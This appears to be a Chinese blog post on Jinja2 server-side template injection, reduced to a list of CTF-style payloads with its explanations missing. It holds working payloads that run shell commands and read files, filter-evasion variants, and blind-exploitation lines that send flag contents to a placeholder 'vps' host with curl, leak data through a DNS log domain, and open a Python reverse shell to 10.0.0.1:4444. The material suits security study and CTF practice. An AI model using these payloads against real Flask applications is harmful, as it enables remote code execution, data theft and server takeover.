Jinja2 SSTI 攻击技术全解——从对象链到无回显利用
1 | from flask import Flask, request, render_template_string |
1 | ''(空字符串,str 实例) |
1 | '' # 空字符串 |
1 | {{[].__class__.__base__.__subclasses__()[40]('flag').read()}} |
1 | {{"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__.popen('whoami').read()}} |
1 | {{''.__class__.__base__.__subclasses__()[185].__init__.__globals__['__builtins__']['__import__']('os').popen('cat /flag').read()}} |
1 | {{[].__class__.__base__.__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} |
1 | {{''.__class__.__base__.__subclasses__()[128]["load_module"]("os")["popen"]("ls /").read()}} |
1 | {{''.__class__.__base__.__subclasses__()[128].__init__.__globals__['linecache']['os'].popen('ls /').read()}} |
1 | {{''.__class__.__base__.__subclasses__()[94]["get_data"](0, "/flag")}} |
1 | {{''.__class__.__base__.__subclasses__()[407]('cat /flag', shell=True, stdout=-1).communicate()[0].strip()}} |
1 | # 原始写法(中括号下标访问) |
1 | # 原始写法 |
1 | # 原始写法(硬编码字符串) |
1 | ""["__cla""ss__"] |
1 | ""["__ssalc__"[::-1]] |
1 | {{[].__class__.__base__.__subclasses__()[40]("fla".join("/g")).read()}} |
1 | "__claee__"|replace("ee","ss") # → __class__ |
1 | "{0:c}".format(97) # → 'a' |
1 | "__class__" == "\x5f\x5fclass\x5f\x5f" == "\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f" |
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['\x5f\x5f\x62\x75\x69\x6c\x74\x69\x6e\x73\x5f\x5f']['\x65\x76\x61\x6c']('__import__("os").popen("ls /").read()')}} |
1 | {%print((((lipsum|attr("__globals__"))|attr("get")("os"))|attr("popen")("tac /f*"))|attr("read")())%} |
1 | {{(((lipsum|attr(request.args.arg1))|attr(request.args.arg2)(request.args.arg3))|attr(request.args.arg4)(request.args.arg5))|attr(request.args.arg6)()}} |
1 | {{open('/flag').read()}} |
1 | # 原始写法 |
1 | {{().__class__.__bases__[0].__subclasses__()[213].__enter__.__globals__['__builtins__']['open']('/etc/passwd').read()}} |
1 | {{lipsum.__globals__['os'].popen('whoami').read()}} |
1 | {{url_for.__globals__['os'].popen('whoami').read()}} |
1 | # 声明变量 |
1 | {% for c in [].__class__.__base__.__subclasses__() %} |
1 | # ()|select|string → <generator object select_or_reject at 0x0000022717FF33C0> |
1 | ()|select|string → "<generator object ...>" |
1 | ().__class__ # → <class 'tuple'> |
1 | {{lipsum.__globals__['os']['popen']('whoami > ./static/out.txt')}} |
1 | {{lipsum.__globals__['os'].popen('curl http://vps:8080/$(cat /flag | base64)').read()}} |
1 | {{lipsum.__globals__['os'].popen('ping -c 1 $(whoami).dnslog.example.com').read()}} |
1 | {{lipsum.__globals__['os'].popen('python -c "import socket,os,pty;s=socket.socket();s.connect((\"10.0.0.1\",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"').read()}} |
1 | SSTI 注入点 |
1 | # 本地确认索引 |
All articles on this blog are licensed under CC BY-NC-SA 4.0 unless otherwise stated.